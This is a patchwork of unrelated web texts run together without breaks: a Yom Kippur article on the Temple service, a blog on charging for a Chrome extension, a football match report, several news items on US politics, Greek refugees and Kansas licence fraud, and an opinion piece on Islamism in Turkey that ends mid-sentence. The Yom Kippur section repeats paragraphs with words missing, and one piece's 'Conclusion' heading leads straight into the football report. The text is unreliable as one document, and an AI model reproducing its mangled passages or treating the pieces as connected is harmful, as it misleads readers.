The Kohen Gadol ascended the (altar) and took a shovel full of embers with a special shovel. He was brought incense. He filled his hands and placed it in a vessel. (The considered this the most physically difficult part of the service, as the Kohen Gadol had to keep the shovelful of glowing coals balanced and prevent its contents from dropping, using his armpit or teeth, while filling his hands with the incense.) Incense Offering Holding the shovel and the vessel, he entered the Kadosh Hakadashim, the Temple’s Holy of Holies. In the days of the First Temple, he placed the shovel between the poles of the Ark of the Covenant. In the days of the Second Temple, he put the shovel where the Ark would have been. He waited until the chamber filled with smoke and left.
Holding the shovel and the vessel, he entered the Kadosh Hakadashim, the Temple’s Holy of Holies. In the days of the First Temple, he placed the shovel between the poles of the Ark of the Covenant. In the days of the Second Temple, he put the shovel where the Ark would have been. He waited until the chamber filled with smoke and left. Sprinkling of Bull's Blood in the Holy of Holies The Kohen Gadol took the bowl with the bull’s blood and entered the Most Holy Place again. He sprinkled the bull’s blood with his finger eight times, before the Ark in the days of the First Temple, where it would have been in the days of the Second. The Kohen Gadol then left the Holy of Holies, putting the bowl on a stand in front of the Parochet (curtain separating the Holy from the Holy of Holies).
The Kohen Gadol took the bowl with the bull’s blood and entered the Most Holy Place again. He sprinkled the bull’s blood with his finger eight times, before the Ark in the days of the First Temple, where it would have been in the days of the Second. The Kohen Gadol then left the Holy of Holies, putting the bowl on a stand in front of the Parochet (curtain separating the Holy from the Holy of Holies). Goat for the Lord as Sin-Offering for Kohanim The Kohen Gadol went to the eastern end of the Israelite courtyard near the Nikanor Gate, laid his hands ( semikha ) on the goat "for the Lord", and pronounced confession on behalf of the Kohanim (priests). The people prostrated themselves when he pronounced the Tetragrammaton. He then slaughtered the goat, and received its blood in another bowl.
The Kohen Gadol went to the eastern end of the Israelite courtyard near the Nikanor Gate, laid his hands ( ) on the goat "for the Lord", and pronounced confession on behalf of the Kohanim (priests). The people prostrated themselves when he pronounced the Tetragrammaton. He then slaughtered the goat, and received its blood in another bowl. Sprinkling of Goat’s Blood in the Holy of Holies The Kohen Gadol took the bowl with the goat’s blood and entered the Kadosh Hakadashim, the Temple’s Holy of Holies again. He sprinkled the goat’s blood with his finger eight times the same way he had sprinkled the bull’s blood. The blood was sprinkled before the Ark in the days of the First Temple, where it would have been in the days of the Second Temple. The Kohen Gadol then left the Kadosh Hakadashim, putting the bowl on a stand in front of the Parochet (curtain separating the Holy from the Holy of Holies).
The Kohen Gadol took the bowl with the goat’s blood and entered the Kadosh Hakadashim, the Temple’s Holy of Holies again. He sprinkled the goat’s blood with his finger eight times the same way he had sprinkled the bull’s blood. The blood was sprinkled before the Ark in the days of the First Temple, where it would have been in the days of the Second Temple. The Kohen Gadol then left the Kadosh Hakadashim, putting the bowl on a stand in front of the Parochet (curtain separating the Holy from the Holy of Holies). Sprinkling of blood in the Holy Standing in the Hekhal (Holy), on the other side of the Parochet from the Holy of Holies, the Kohen Gadol took the bull's blood from the stand and sprinkled it with his finger eight times in the direction of the Parochet. He then took the bowl with the goat's blood and sprinkled it eight times in the same manner, putting it back on the stand.
Standing in the (Holy), on the other side of the Parochet from the Holy of Holies, the Kohen Gadol took the bull's blood from the stand and sprinkled it with his finger eight times in the direction of the Parochet. He then took the bowl with the goat's blood and sprinkled it eight times in the same manner, putting it back on the stand. Smearing of blood on the Golden (Incense) Altar The Kohen Gadol removed the goat’s blood from the stand and mixed it with the bull's blood. Starting at the northeast corner, he then smeared the mixture of blood on each of the four corners of the Golden (Incense) altar in the Haichal. He then sprinkled the blood eight times on the altar.
Goat for Azazel The Kohen Gadol left the Haichal and walked to the east side of the Azarah (Israelite courtyard). Near the Nikanor Gate, he leaned his hands (Semikha) on the goat "for Azazel" and confessed the sins of the entire people of Israel. The people prostrated themselves when he pronounced the Tetragrammaton. While he made a general confession, individuals in the crowd at the Temple would confess privately. The Kohen Gadol then sent the goat off "to the wilderness". In practice, to prevent its return to human habitation, the goat was led to a cliff outside Jerusalem and pushed off its edge.
The Kohen Gadol left the Haichal and walked to the east side of the (Israelite courtyard). Near the Nikanor Gate, he leaned his hands (Semikha) on the goat "for Azazel" and confessed the sins of the entire people of Israel. The people prostrated themselves when he pronounced the Tetragrammaton. While he made a general confession, individuals in the crowd at the Temple would confess privately. The Kohen Gadol then sent the goat off "to the wilderness". In practice, to prevent its return to human habitation, the goat was led to a cliff outside Jerusalem and pushed off its edge. Preparation of sacrificial animals While the goat "for Azazel" was being led to the cliff, the Kohen Gadol removed the insides of the bull, and intertwined the bodies of the bull and goat. Other people took the bodies to the Beit HaDeshen (place of the ashes). They were burned there after it was confirmed that the goat "for Azazel" had reached the wilderness.
While the goat "for Azazel" was being led to the cliff, the Kohen Gadol removed the insides of the bull, and intertwined the bodies of the bull and goat. Other people took the bodies to the (place of the ashes). They were burned there after it was confirmed that the goat "for Azazel" had reached the wilderness. Reading the Torah After it was confirmed that the goat "for Azazel" had been pushed off the cliff, the Kohen Gadol passed through the Nikanor Gate into the Ezrat Nashim (Women’s Courtyard) and read sections of the Torah describing Yom Kippur and its sacrifices.
After it was confirmed that the goat "for Azazel" had been pushed off the cliff, the Kohen Gadol passed through the Nikanor Gate into the (Women’s Courtyard) and read sections of the describing Yom Kippur and its sacrifices. Garment change 2 The Kohen Gadol removed his linen garments, immersed in the mikvah in the Temple courtyard, and changed into a second set of special golden garments. He washed his hands and feet both before removing the linen garments and after putting on the golden ones.
The Kohen Gadol removed his linen garments, immersed in the in the Temple courtyard, and changed into a second set of special golden garments. He washed his hands and feet both before removing the linen garments and after putting on the golden ones. Offering of Rams The Kohen Gadol offered two rams as an olah offering, slaughtering them on the north side of the mizbeach (outer altar), receiving their blood in a bowl, carrying the bowl to the outer altar, and dashing the blood on the northeast and southwest corners of the Outer Altar. He dismembered the rams and burned the parts entirely on the outer altar. He then offered the accompanying mincha (grain) offerings and nesachim (wine-libations).
The Kohen Gadol offered two rams as an offering, slaughtering them on the north side of the (outer altar), receiving their blood in a bowl, carrying the bowl to the outer altar, and dashing the blood on the northeast and southwest corners of the Outer Altar. He dismembered the rams and burned the parts entirely on the outer altar. He then offered the accompanying (grain) offerings and (wine-libations). Musaf Offering The Kohen Gadol then offered the Musaf offering.
The Kohen Gadol then offered the offering. Burning of Innards The Kohen Gadol placed the insides of the bull and goat on the outer altar and burned them entirely.
The Kohen Gadol placed the insides of the bull and goat on the outer altar and burned them entirely. Garment change 3 The Kohen Gadol removed his golden garments, immersed in the mikvah , and changed to a new set of linen garments, again washing his hands and feet twice.
The Kohen Gadol removed his golden garments, immersed in the , and changed to a new set of linen garments, again washing his hands and feet twice. Removal of Incense from the Holy of Holies The Kohen Gadol returned to the Holy of Holies and removed the bowl of incense and the shovel.
The Kohen Gadol returned to the Holy of Holies and removed the bowl of incense and the shovel. Garment Change 4 The Kohen Gadol removed his linen garments, immersed in the mikvah , and changed into a third set of golden garments, again washing his hands and feet twice.
The Kohen Gadol removed his linen garments, immersed in the , and changed into a third set of golden garments, again washing his hands and feet twice. Evening (Tamid) Offering The Kohen Gadol completed the afternoon portion of the regular (tamid) daily offering in the special golden garments. He washed his hands and feet a tenth time.
The Kohen Gadol wore five sets of garments (three golden and two white linen), immersed in the mikvah five times, and washed his hands and feet ten times. Sacrifices included two (daily) lambs, one bull, two goats, and two rams, with accompanying mincha (meal) offerings, wine libations, and three incense offerings (the regular two daily and an additional one for Yom Kippur). The Kohen Gadol entered the Holy of Holies three times. The Tetragrammaton was pronounced three times, once for each confession.[18]
Observance in Israel [ edit ]
Yom Kippur is a legal holiday in the modern state of Israel. There are no radio or television broadcasts, airports are shut down, there is no public transportation, and all shops and businesses are closed.[22]
In 2013, 73% of the Jewish people of Israel said that they were intending to fast on Yom Kippur.[23] It is very common in Israel to wish "Tsom Kal" ([an] easy fast) or "Tsom Mo'il" ([a] benefiting fast) to everyone before Yom Kippur, even if one does not know whether they will fast or not.
It is considered impolite to eat in public on Yom Kippur or to sound music or to drive a motor vehicle. There is no legal prohibition on any of these, but in practice such actions are universally avoided in Israel during Yom Kippur,[24] except for emergency services.
Over the last few decades, bicycle-riding and inline skating on the empty streets have become common among secular Israeli youngsters, especially on the eve of Yom Kippur in Tel Aviv[25] and Israel in general.
In 1973, an air raid siren was sounded on the afternoon of Yom Kippur and radio broadcasts were resumed to alert the public to the surprise attack on Israel by Egypt and Syria that launched the Yom Kippur War.
Observance by athletes [ edit ]
Some notable athletes have observed Yom Kippur, even when it conflicted with playing their sport.
In baseball, Sandy Koufax, the Hall of Fame pitcher, decided not to pitch Game 1 of the 1965 World Series because it fell on Yom Kippur. Koufax garnered national attention for his decision, as an example of the conflict between social pressures and personal beliefs.[26]
Hall of Fame first baseman Hank Greenberg attracted national attention in 1934, nearly three decades earlier, when he refused to play baseball on Yom Kippur, even though the Tigers were in the middle of a pennant race, and he was leading the league in RBIs.[27] The Detroit Free Press columnist and poet Edgar A. Guest wrote a poem titled "Speaking of Greenberg", which ended with the lines "We shall miss him on the infield and shall miss him at the bat / But he's true to his religion—and I honor him for that."[28] When Greenberg arrived in synagogue on Yom Kippur, the service stopped suddenly, and the congregation gave an embarrassed Greenberg a standing ovation.[29]
Former Los Angeles Dodgers outfielder Shawn Green, similarly, made headlines in 2001 for sitting out a game for the first time in 415 games (then the longest streak among active players), to honor Yom Kippur, even though his team was in the middle of a playoff race.[27] Other baseball players who have similarly sat out games on Yom Kippur include former Boston Red Sox and New York Yankees third baseman Kevin Youkilis, former Houston Astros catcher and former Detroit Tigers manager Brad Ausmus, and outfielder Art Shamsky.[30][31][32]
Gabe Carimi, the Consensus All-American left tackle in American football who won the 2010 Outland Trophy as the nation's top collegiate interior lineman, faced a conflict in his freshman year of college in 2007. That year Yom Kippur fell on a Saturday, and he fasted until an hour before his football game against Iowa started that night.[33][34][35] Carimi said, "Religion is a part of me, and I don't want to just say I'm Jewish. I actually do make sacrifices that I know are hard choices."[33][36][37] In 2004, Matt Bernstein, standout fullback at University of Wisconsin–Madison, fasted on Yom Kippur, then broke his fast on the sidelines before rushing for 123 yards in a game against Penn State.[38]
In 2011, golfer Laetitia Beck declined a request to join the UNC Tar-Heels Invitational competition, because it conflicted with Yom Kippur.[39][40] Instead, she spent the day fasting and praying.[39] She said: "My Judaism is very important to me, and ... on Yom Kippur, no matter what, I have to fast."[39] Boris Gelfand, Israel's top chess player, played his game in the prestigious London Grand Prix Chess Tournament on 25 September 2012 (eve of Yom Kippur) earlier, to avoid playing on the holiday.[41]
In 2013, the International Tennis Federation fined the Israel Tennis Association "more than $13,000 ... for the inconvenience" of having to reschedule a tennis match between the Israeli and Belgian teams that was originally scheduled on Yom Kippur.[42][43] Dudi Sela, Israel's # 1 player, quit his quarterfinal match in the third set of the 2017 Shenzhen Open so he could begin observing Yom Kippur by the time the sun set, forfeiting a possible $34,000 in prize money and 90 rankings points.[44][45]
Related observances in other religions [ edit ]
Messianic Jews and some other sabbatarian churches also observe Yom Kippur as a holy day, from evening to evening. In the Christian observance, it is a time of prayer and fasting from all food and drink and a time of instruction through study and church attendance. It focuses on Christ's sacrifice and atonement for sins. It is seen as a time to give thanks and praise, to humble oneself and to seek repentance. It is also a time where Messianic Jews pray for Israel and Jews who have not yet proclaimed Yeshua/Jesus is the Messiah that was promised in prophesies from the Old Testament.[relevant? – discuss][citation needed]
Muslims also observe fasting on this day. In Islam, this day is called Yom Ashura. In Sunni Islam, Ashura marks the day that Moses and the Israelites were saved from Pharaoh by God creating a path in the Red Sea to the Holy Land. It falls on the tenth day of month of Muharram in the Islamic calendar.
Recognition by the United Nations [ edit ]
Starting 2016 the United Nations officially recognizes Yom Kippur, stating that from then on no official meetings would take place on the day.[46] As well, the United Nations stated that, beginning in 2016, they would have nine official holidays and seven floating holidays which each employee would be able to choose one of.[46] It stated that the floating holidays will be Yom Kippur,[47] Day of Vesak, Diwali, Gurpurab, Orthodox Christmas, Orthodox Good Friday, and Presidents' Day.[46] This was the first time the United Nations officially recognized any Jewish holiday.[46]
Modern scholarship [ edit ]
According to textual scholars, the biblical regulations covering Yom Kippur are spliced together from multiple source texts,[48][49] as indicated by the duplication of the confession over the bullock,[50] and the incongruity in one verse stating that the high priest should not enter the Holy of Holies (with the inference that there are exceptions for certain explicitly identified festivals),[51] and the next verse indicating that they can enter whenever they wish (as long as a specific ritual is carried out first).[48] Although Rashi tried to find a harmonistic explanation for this incongruity, the Leviticus Rabbah maintains that it was indeed the case that the high priest could enter at any time if these rituals were carried out.[52] Textual scholars argue that the ritual is composed from three sources, and a couple of redactional additions:[48][49]
prerequisite rituals before the high priest can enter the Holy of Holies (on any occasion), namely a sin offering and a whole offering, followed by the filling of the Holy of Holies with a cloud of incense while wearing linen garments [53]
regulations which establish an annual day of fasting and rest, during which the sanctuary and people are purified, without stating the ritual for doing so; [54] this regulation is very similar to the one in the Holiness Code [55]
this regulation is very similar to the one in the Holiness Code later elaborations of the ceremony, [56] which include the sprinkling of the blood on the mercy seat , and the use of a scapegoat sent to Azazel; the same source also being responsible for small alterations to related regulations [57]
which include the sprinkling of the blood on the , and the use of a scapegoat sent to Azazel; the same source also being responsible for small alterations to related regulations the redactional additions[58]
On the basis of their assumptions, these scholars believe that the original ceremony was simply the ritual purification of the sanctuary from any accidental ritual impurity, at the start of each new year, as seen in the Book of Ezekiel. Textual scholars date this original ceremony to before the priestly source, but after JE.[59][60] According to the Book of Ezekiel, the sanctuary was to be cleansed by the sprinkling of bullock's blood, on the first day of the first and of the seventh months[61]—near the start of the civil year and of the ecclesiastical year, respectively; although the masoretic text of the Book of Ezekiel has the second of these cleansings on the seventh of the first month, biblical scholars regard the Septuagint, which has the second cleaning as being the first of the seventh month, as being more accurate here.[59] It appears that during the period that the Holiness Code and the Book of Ezekiel were written, the new year began on the tenth day of the seventh month,[62][63] and thus liberal biblical scholars believe that by the time the Priestly Code was compiled, the date of the new year and of the day of atonement had swapped around.[48]
I didn't have a massive "I'll be living on passive income soon" party, nor did I invest in advertising. I just changed the price, then went off to my local pub. I was a little sceptical people would be willing to pay for something that had been free for so many years, but as sales started I had no doubt it in my mind that it was the best move.
Income after two months
After two months of being a paid chrome extension I had earned a total of £170.35, the bulk of that being after I removed the free trial.
Install Type Daily Average Impressions Daily Average Installs Monthly Sales Total Free 560 55 £0 Annual Subscription (With trial) 441 32 £28.82 Annual Subscription Only 489 8 £141.53
For an extension that I had been developing in my spare time for free, these are fantastic results.
If sales continue at roughly the same rate (~£100 a month), potentially I can spend up to one month a year working solely on supporting LivePage, or any other side projects that tickle my interest. This is incredible!
Unpaid installs
As LivePage was initially open source, I've never been worried about people sharing the paid copies (it's super easy to do with chrome extensions!). In fact, on the LivePage GitHub repo I even included instructions on getting the development version running.
On 4th October 2016 I had a spike of 90k weekly active users
To give an idea of the amount of unpaid installs, for most of 2016 when LivePage was free it had an average of 25,000 weekly users. After the first month of being a Annual Subscription (With trial), it had grown to ~30,000 weekly users while only achieving 95 sales.
It's crazy that adding a small price has increased the weekly users so much! I'm doubtful that I'll be able to convert these users to paid users, but I did add a note to the options page requesting users leave a review in the Google Chrome Store.
Dropping rankings & removing the free trial
When LivePage was free I ranked somewhere in the middle of the Developer Tools Chrome Web Store category. After switching to a free trial, the rankings dropped suddenly.
A quick search online suggested adding translations to the extension would help remedy the drop in ranking. After investing in human translations via the Chrome Web Store tools, I noticed no change in the ranking. I did start getting a few more international (non English) sales.
It turned out the free trial was to blame. One of the main Chrome Web Store ranking signals is the uninstall rate. What I discovered was the uninstall rate increased dramatically when the free trial was enabled, I suspect because users would prefer to uninstall then to upgrade.
After removing the free trial, my sales increased and ranking stopped dropping. If I was to release a monetised extension again I would not bother with the free trial, instead I'd focus on internationalization (translations and simple copy) & possibly advertising.
Keeping it open source & adding landing Page
I've managed to keep the extension totally open source (under the GNU Affero General Public License), which is awesome. But even better, since charging I've had my users pushing me (and helping me) towards adding useful features. I'd especially like to thank Andy Richardson, who helped me make a decent landing page!
I'd still be wary about developing a paid for product in an open source environment. Though I'd definitely push people towards open sourcing aspects of their source code so people can push some OSS on on it.
Support
Overall support requests (the main reason I switched to a paid model) have decreased to a sustainable level. I still receive emails from users requesting free copies, asking for help with their bat shit crazy development environments (Ask me about it over a beer!) or just submitting shitty reviews in the chrome web store (e.g. "The extension is great, but if it drove my car I'd give it 5 stars. So just 4 stars!"). Luckily they are few and far between now.
I did experiment with the Chrome Web Stores built in support system (as pictured above), but it felt so lacking in functionality I opted to disable it. My main annoyance with the Chrome Web Store, is that it does not send a notification for when a user submits a ticket or review. The only way I could see if a user had submitted a ticket was by logging into the Chrome Web Stores developer panel and seeing the "(1)" in the "User Feedback" link. I decided to disable this feature as I could totally see myself forgetting to check the dashboard & inadvertently annoying a user.
Conclusion
The Foxes led midway through the first half when David Nugent played in Lloyd Dyer, who smashed the ball into the roof of the net.
Jamie Vardy added a fantastic second goal late on when he beat two defenders to fire home.
Peter Lovenkrands headed in a last-minute goal for Birmingham but it was too late to spark a comeback.
Record-breaking Foxes Leicester broke a club record with their eight consecutive league win. Their previous best run of seven was back in 1993
The win for Leicester keeps them eight points clear of second-placed QPR, and more importantly, extended their advantage to 11 points over third-placed Burnley, who could only draw.
Birmingham have failed to win any of their last nine home games, a run stretching back to 1 October, and they are now only five points above the relegation zone.
The Foxes dominated the early stages, with Vardy going close and Danny Drinkwater forcing a save from Darren Randolph.
They deservedly led when Nugent played in a low angled ball from the right to the unmarked Dyer, who was able to take a touch before firing high into the goal.
Leicester could have doubled the lead when Dyer set up Anthony Knockaert but Randolph saved his effort from close range with his legs.
Blues improved after the break but Vardy finished the game as a contest when he received a Riyad Mahrez pass and dribbled down the right before firing an effort into the far corner.
Substitute Lovenkrands gave the Foxes a late scare from Chris Burke's corner but Nigel Pearson's men lasted the four minutes of injury time unscathed.
Leicester City manager Nigel Pearson:
Media playback is not supported on this device Post-match: Leicester boss Nigel Pearson
"We were aware about the record but the players never discussed it. It was an added plus that we were able to achieve this record. To win eight games on the trot is very difficult in any league, particularly the Championship.
"The players have to take a great deal of credit with their ability to win different types of games. In this league you have to scrap and be resilient. I think against Birmingham we showed that we are capable of playing some really good football.
"The players are very focussed on the goals we have set and that is to win promotion. The chemistry within the squad is good and we are better equipped to deal with disappointment."
Birmingham boss Lee Clark:
"The scoreline doesn't tell the whole story. In every aspect of the game Leicester's confidence was sky high.
"We were happy at the end of the first half that it was only 1-0. We had a go in the second half but they were always the dominant side.
In his speech for the Democratic weekly address., Schiff brought up the need for Congress to implement an independent commission to investigate Russia’s alleged interference into the 2016 presidential election. Schiff said it would not be an attempt to undermine the President, because only the President can do that.
“As the events of this week demonstrate, an independent commission will be able to conduct its work insulated from any political interference,” he said. “The President believes this investigation as an attempt to undermine his legitimacy or credibility. It is not. Only the President is capable of doing that, and regrettably, he is at great risk of doing so.”
Schiff pointed to Trump’s repeated and unsubstantiated claims that former President Barack Obama had wiretapped Trump Tower during his campaign. Schiff said that repeating such claims or others could “squander” credibility that cannot be regained.
“When a President of the United States makes claims that are proved baseless, it weakens the Presidency and undermines our security and standing in the world. Presidential credibility, once squandered, may never be fully regained,” he said.
Schiff closed by pleading that Trump trust his advisers and that he never make baseless accusations again.
Two transgender refugees were attacked in Leros on Wednesday by people on motorcycles, the Greek Transgendered Support Association (GTSA) said in a press release on Friday.
One of the two women is being treated for her injuries at the local hospital, the association said.
According to GTSA, the incident occurred as the two women were walking towards the refugee center on the island, run by the UNHCR. The victims were caught by surprise as they were attacked from behind and one of them was hit with either a wooden rod or a cable.
The association added it has received information that there is a group of about 20 people on the island who act on clear racist motives, attacking, terrorizing or mocking refugees, noting that the local police “is not doing anything about it”.
This is the third in a series of attacks against refugees on Leros, GTSA said, and urged the State and the UNHCR to do what is necessary to protect refugees.
(source: ana-mpa)
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In today’s episode one of America’s great architects, Frank Harmon FAIA shares thoughts on what it means to be a successful architect, and how the seeds of success need to be planted at a young age.
Frank Harmon, FAIA has designed sustainable modern buildings across the Southeast for 30 years. Hs is an educator at NC State University, a writer and illustrator at NativePlaces.org, and engages architects through public outreach at Activate14.
Harmon has received over thirty-seven AIA North Carolina awards. In 2003, a vacation house he designed in the Bahamas was named Project of the Year by Residential Architect magazine. In 2005, the same magazine named his firm Top Firm of the Year. Frank Harmon Architect has been named to Architect’s Top 50 list 3 times.
In today’s episode you’ll discover:
How Frank Harmon learns from vernacular architecture to create environmentally responsive buildings
The little known French town Frank Harmon visits yearly for its architectural and urban beauty
An intriguing insight learned from working for Richard Meier
This interview is on iTunes. Subscribe above, and be a hero! If you know another architect who would benefit from watching this video, share away using the social share buttons.
Resources for today’s show:
Authorities arrested 33 people this week in connection with the case, which investigators have dubbed Operation Chameleon.
The former Department of Revenue employee, Samantha Jo Moore, 28, of Kansas City, worked at the Mission office. Arrested Tuesday, she is charged with 51 felonies.
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SHARE COPY LINK Johnson County District Attorney Steve Howe and Kansas Secretary of Revenue Nick Jordan held a press conference involving the arrest of 33 people involved in a driver's license fraud case on Thursday (April 23, 2015 -- video by SHANE KEYSER | The
The investigation by agents of the Kansas Department of Revenue is ongoing, Johnson County District Attorney Steve Howe and Kansas Secretary of Revenue Nick Jordan said while announcing the charges at a press conference in Olathe.
Howe and Jordan said they could not provide many details of the investigation, which they said has been going for a “considerable” time.
Part of the investigation includes determining how the fraudulent licenses may have been used, Jordan said.
“It’s very disturbing, he said. “These are extremely important documents.”
The charges against Moore include multiple counts of bribery, official misconduct, computer crime, identity theft, felony use of a driver’s license and making a false writing. She also is charged with filing fraudulent Kansas income tax returns for 2012 and 2013.
The alleged crimes occurred between 2011 and 2013, and include allegations that Moore took actions to destroy or tamper with evidence. She is being held in the Johnson County Jail on a bond of $250,000.
Moore was the only revenue employee charged in the case. She began working for the department in 2011, which according to court documents is when the alleged criminal activity began.
But Jordan said he could not comment on when Moore’s employment ended.
Jordan said that in his five years as director, it was the first time there has been such a level of fraud uncovered.
“It’s an unfortunate situation,” he said.
Howe said he could not talk about how many more arrests could be expected, but he released the names and photographs of two people authorities believe helped direct license seekers to Moore. The Star is not naming those people because Howe would not say whether they have been charged.
Three other people, described as facilitators, also allegedly direct clients to Moore, officials said.
According to court documents, Shaylynn K. Celedon, 32, of Kansas City, Kan., faces 21 counts of bribery, felony use of a driver’s license, making a false writing and identity theft.
According to court documents, she allegedly bribed Moore on seven occasions between June 2012 and February 2015. Her request to lower her $250,000 bond was denied Tuesday.
Luis Renova Contreras, 43, of Kansas City, Kan., is accused of 17 felony counts, including five counts of bribery. He was released from custody after posting a $250,000 bond. He is required to be under house arrest as a condition of bond, according to court records.
Another Kansas City, Kan., woman, 27-year-old Carolina Mejia, is charged with bribing Moore on two occasions in 2011 and faces four other felony charges. Her bond was reduced from $250,000 to $100,000 during her court hearing.
Twenty-nine others arrested this week have been charged with single counts of bribery, felony use of a driver’s license and making a false writing. Each was released after posting a $2,500 bond, according to jail records.
The executive order drafted by the Trump administration not only strangulates H-1B and L1 visas, but also ends employment authorisation cards to spouses on such work visas, which was recently introduced by the previous Obama Administration.
The draft of the order was purportedly leaked and published by a news websites yesterday: 'I think with respect to H1Bs and other visa, it is part of a larger immigration reform effort that the President will continue to talk about through executive order and through working with Congress,' White House press secretary Sean Spicer told reporters at a news conference.
A 'leaked draft' of new Donald Trump executive order looks set to hit visas for Indians and their spouses in the US
'You've already seen a lot of action on immigration and I think whether it's that or the spousal visas or other type of visas, I think there's an overall need to look at all of these programmes.
'You'll see both through executive action and through comprehensive measures a way to address immigration as a whole and the visa programme,' Spicer said.
As per the leaked draft order, Trump would reverse former president Barack Obama's extension of the duration of optional practical training work visas, which allowed foreign students to stay in the US a bit longer after completion of studies.
Protesters have already been rallying against the first executive order at JFK Airport in New York, and across the world
Within 90 days of the signing of the executive order, the Secretary of Homeland Security would have to review all regulations that allow foreign nationals to work in the US and determine which of those regulations violate the immigration laws or are not in the 'national interest' of America.
It would also immediately terminate all parole policies.
Trump: Great for India?
The executive order will also ask the secretaries of Labour and Homeland Security to restore the integrity of employment based non-immigrant worker programmes and better protect US and foreign workers affected by these programmes.
The draft order seeks the administration to consider ways to make the process of allocating visas more efficient and ensure that beneficiaries of the programmes are the best and the brightest.
Dr. C Erimtan
21st Century Wire
Throughout the second half of the 20th century the Republic of Turkey was hailed as a beacon of “multi-party democracy” and even “secularism” in the Middle East (1950-94/2002). The advent of the overtly Islamic and populist Justice and Development Party (or AKP), founded by the hugely popular yet equally divisive Recep Tayyip Erdoğan, has brought an abrupt end to this perception and currently the country is once again in the grip of political Islam and one-party rule.
At present, the Republic of Turkey has been ruled by Islamists for many years now, and not just in this century. The rise of Islamist politics in Turkey started as long ago as 1994, when Turkey’s Islamist figurehead of yesteryear, Necmettin Erbakan’s last political vehicle the Refah Partisi (or RP, somewhat erroneously translated as Welfare Party) unexpectedly swept the country in local elections, winning 19.7% of the national vote and taking the mayoral seats of 29 major urban centres, significantly including Ankara and Istanbul.
The latter city gave Recep Tayyip Erdoğan the opportunity to climb the national stage, which he has been using to hog the limelight till the present day. The former, on the other hand, brought the figure of Melih Gökçek to prominence who has since been occupying his post heading the Turkish capital for nearly 23 years. And some time ago, Ankara’s now-AKP Mayor invited a number of reporters from a “bevy of major outlets,” such as the New York Times, Washington Post, Wall Street Journal and Associated Press, to the Turkish capital.
As a colourful figure, well-known for his sometimes quite outrageous statements, he did not disappoint on this occasion either, saying that the terror organisation formerly known as ISIS-yet-now-calling-itself the Islamic State (or IS/ISIS), acronymised in Arabic as Daesh, “is an artificial organization, a fake organization, just like President Trump says,” before adding that the U.S. President “didn’t say it just once, he repeated it three times. So three times — I believe it has some truth in it,” as related by the Huffington Post‘s Foreign Affairs’ Reporter Jessica Schulberg.
Prominent Islamists in Turkey: Terrorist and Preachers
Melih Gökçek’s words are puzzling at best, as if the mere idea of “radical Islamic terrorism,“ as President Trump now likes to call his chosen enemy, were something utterly unknown in Turkey. In addition, his words would also imply that the Turkish authorities have no knowledge or experience with the Islamic State (IS/ISIS) either.
In reality, though, homegrown “radical Islamic terrorism“ has been part and parcel of the Turkish reality for a long time now – two names immediately pop up in this context, IBDA-C (or the Islamic Great Eastern Raiders-Front) and Hizbullah (or Turkish Hezbollah). And the ruling AKP government appears to be close to both movements.
The founder of the first, a “Salafist group that advocates Islamic rule in Turkey,” Salih İzzet Erdiş (better known as Salih Mirzabeyoğlu or the Commander) was arrested on 31 December 1998 and subsequently sentenced to death in 2001, which was commuted to a 20-year sentence when Turkey abolished the death penalty in 2002. But then, out of the blue, “he was pardoned on 23 July 2014, and even met with [none other than Tayyip] Erdogan some four months later. The latter, then, a “Sunni Turkish/Kurdish Muslim militia” or terrorist group that came to national prominence in 2000. when the police engaged its members in a deadly firefight, leaving the founder and leader Hüseyin Velioğlu dead and its second-in-command Edip Gümüş imprisoned for life following charges of “belonging to a terrorist organization and participating in the murders of more than 100 people.”
Still, on 4 January 2011, the latter was freed together with 22 other Hizbullah members. And subsequently, many of the freed simply disappeared and others apparently founded the Islamist political party Huda-Par, as expressed in late 2013 by Yılmaz Arslan, the Governor of Batman, the terror group is “alive” and has made “a comeback with Huda-Par.”
Another such notorious Islamist figure with apparently excellent government connections is Halis Bayancuk, better known by his nickname or “Kunya Ebu Hanzala.” His father Haci Bayancuk was a member of Hizbullah (or Turkish Hezbollah), and even “among the leadership cadres,” of said terror group according to Ahmet S. Yayla, a former members of the Turkish National Police and currently active as a researcher on Islamic terrorism (ICSVE).
Code-named ‘Hafız,’ Bayancuk, Senior, was the leader of the terror group’s political wing and is “currently serving a life sentence in Turkish prison” after his arrest in 2005. Ebu Hanzala himself then spent some time in Egypt, where he apparently became involved with Al Qaeda before returning to Turkey in 2008. According to the now defunct Turkish daily Radikal, during this trip he was accompanied by six other Hizbullah (or Turkish Hezbollah) members and they received regular payments from “Germany,” allowing them to concentrate on their religious-ideological training in Egypt.
Still upon his return to Turkey, Halis Bayancuk was arrested only to be “released on May 15, 2009 due to lack of evidence,” as expressed by Yayla. Following his release he continued preaching and spreading Islam till he was arrested again in 2011, during simultaneous police raids on 50 individual locations when more than 40 individuals were apprehended. Bayancuk (or Ebu Hanzala) was then set free on 24 January 2013, remaining out in the open till “January 14, 2014” when he was re-arrested “during an al ­Qaeda policing operation in which he was named as the leader of Turkish al ­Qaeda.” Yayla continues that the “[now-]Turkish ISIS leader Ebu Hanzala . . . was released from prison in January 2014 [but] had to be arrested again in June 2015 because he was caught red-handed . . . facilitating the passage of ISIS foreign fighters . . . from Gaziantep to Syria. Though he was released again in March 2016 with all other 96 ISIS suspects.”
Islamic Terror and Islamic Piety in Turkey
The story of Bayancuk’s arrests, liberations, and re-arrests could lead one to conclude that Turkey’s current AKP government somehow protects or otherwise assists said figure with alleged connections to Islamist terror groups operating within and beyond Turkey’s borders. On the other hand, the apparent ease with which the names Al Qaeda and ISIS are apparently intermittently used in connection with this figure is puzzling.
After all, the enmity between both organisations is all but well-known. Usamah Bin Laden’s successor Ayman al-Zawahiri recently even publicly declaring in an audio file in Arabic, distributed through Al Qaeda channels and subsequently translated and spread by supporters on various social media that “ISIS was struck with madness in takfir [declaring other Muslims to be apostates] and exceeded the limits of extremism.”
In this day and age when the internet affords easy communications and social media are all about, Bayancuk (or Ebu Hanzala)’s presence in the realm of virtual reality allows us to have a closer look at his own statements and actions. On a YouTube video dated 22 December 2014, he makes the following pronouncements:
“ISIS are our Muslim brothers. Any attack on them will be counted as an attack on us. I do believe that this war [in Syria] is a religious war. I am on the side of my brothers. Whomever attacks those brothers of mine I will accept that as a [direct] attack on me.“
In other words, rather than presenting himself as a member of either the Islamic State (IS/ISIS) or Al Qaeda, Bayancuk simply invokes the principle of Islamic solidarity and presents himself as a champion of Islam striving in its cause and well-being.
Last year, he made the following declaration:
